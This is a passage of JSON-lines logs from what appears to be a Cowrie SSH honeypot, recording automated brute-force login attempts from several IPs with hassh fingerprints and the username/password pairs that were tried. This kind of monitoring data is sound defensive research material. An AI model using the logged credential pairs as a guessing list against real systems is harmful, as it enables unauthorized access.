16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:10.725235Z","src_ip":"103.27.238.114","session":"9c4f06fda5ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:10.867340Z","src_ip":"45.156.87.253","session":"ba9cd9a418e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anton85","message":"login attempt [root/anton85] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:11.516465Z","src_ip":"103.27.238.114","session":"9c4f06fda5ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:12.785439Z","src_ip":"103.27.238.114","session":"9c4f06fda5ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39902,"dst_ip":"10.17.0.5","dst_port":22,"session":"9463937f3f6a","protocol":"ssh","message":"New connection: 45.156.87.253:39902 (10.17.0.5:22) [session: 9463937f3f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:12.997781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:13.001398Z","src_ip":"45.156.87.253","session":"9463937f3f6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:13.081498Z","src_ip":"45.156.87.253","session":"9463937f3f6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:13.325315Z","src_ip":"45.156.87.253","session":"9463937f3f6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:14.408499Z","src_ip":"45.156.87.253","session":"9463937f3f6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":39920,"dst_ip":"10.17.0.5","dst_port":22,"session":"949a3ed5751a","protocol":"ssh","message":"New connection: 45.156.87.253:39920 (10.17.0.5:22) [session: 949a3ed5751a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:16.331105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:16.332890Z","src_ip":"45.156.87.253","session":"949a3ed5751a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:16.413238Z","src_ip":"45.156.87.253","session":"949a3ed5751a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:16.657853Z","src_ip":"45.156.87.253","session":"949a3ed5751a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.58.21","src_port":44238,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea9ef718af5c","protocol":"ssh","message":"New connection: 162.144.58.21:44238 (10.17.0.5:22) [session: ea9ef718af5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:17.572125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:17.575586Z","src_ip":"162.144.58.21","session":"ea9ef718af5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:17.663989Z","src_ip":"162.144.58.21","session":"ea9ef718af5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:17.747240Z","src_ip":"45.156.87.253","session":"949a3ed5751a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":52736,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0343002b3a3","protocol":"ssh","message":"New connection: 85.215.121.209:52736 (10.17.0.5:22) [session: c0343002b3a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:17.790661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:17.793781Z","src_ip":"85.215.121.209","session":"c0343002b3a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:17.884600Z","src_ip":"85.215.121.209","session":"c0343002b3a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pixel","password":"pixel123","message":"login attempt [pixel/pixel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:17.931079Z","src_ip":"162.144.58.21","session":"ea9ef718af5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mycelium2024","message":"login attempt [root/mycelium2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:18.161649Z","src_ip":"85.215.121.209","session":"c0343002b3a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:19.255053Z","src_ip":"85.215.121.209","session":"c0343002b3a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":50658,"dst_ip":"10.17.0.5","dst_port":22,"session":"460099d9ffed","protocol":"ssh","message":"New connection: 45.156.87.253:50658 (10.17.0.5:22) [session: 460099d9ffed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:19.610943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:19.614238Z","src_ip":"45.156.87.253","session":"460099d9ffed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:19.694135Z","src_ip":"45.156.87.253","session":"460099d9ffed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prem","password":"12345","message":"login attempt [prem/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:20.125122Z","src_ip":"45.156.87.253","session":"460099d9ffed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:21.207249Z","src_ip":"45.156.87.253","session":"460099d9ffed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":50684,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dfb1e078661","protocol":"ssh","message":"New connection: 45.156.87.253:50684 (10.17.0.5:22) [session: 2dfb1e078661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:23.024088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:23.030835Z","src_ip":"45.156.87.253","session":"2dfb1e078661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:23.112364Z","src_ip":"45.156.87.253","session":"2dfb1e078661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:23.359947Z","src_ip":"45.156.87.253","session":"2dfb1e078661","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:24.443608Z","src_ip":"45.156.87.253","session":"2dfb1e078661","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":50708,"dst_ip":"10.17.0.5","dst_port":22,"session":"05ef7a34d219","protocol":"ssh","message":"New connection: 45.156.87.253:50708 (10.17.0.5:22) [session: 05ef7a34d219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:26.320678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:26.323748Z","src_ip":"45.156.87.253","session":"05ef7a34d219","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:26.407076Z","src_ip":"45.156.87.253","session":"05ef7a34d219","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:26.649516Z","src_ip":"45.156.87.253","session":"05ef7a34d219","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:27.738300Z","src_ip":"45.156.87.253","session":"05ef7a34d219","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44424,"dst_ip":"10.17.0.5","dst_port":22,"session":"851d3236e12b","protocol":"ssh","message":"New connection: 45.156.87.253:44424 (10.17.0.5:22) [session: 851d3236e12b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:29.658284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:29.663890Z","src_ip":"45.156.87.253","session":"851d3236e12b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:29.745488Z","src_ip":"45.156.87.253","session":"851d3236e12b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:29.990088Z","src_ip":"45.156.87.253","session":"851d3236e12b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:31.074496Z","src_ip":"45.156.87.253","session":"851d3236e12b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44450,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b3077cb6f15","protocol":"ssh","message":"New connection: 45.156.87.253:44450 (10.17.0.5:22) [session: 7b3077cb6f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:33.017125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:33.020484Z","src_ip":"45.156.87.253","session":"7b3077cb6f15","protocol":"ssh"}
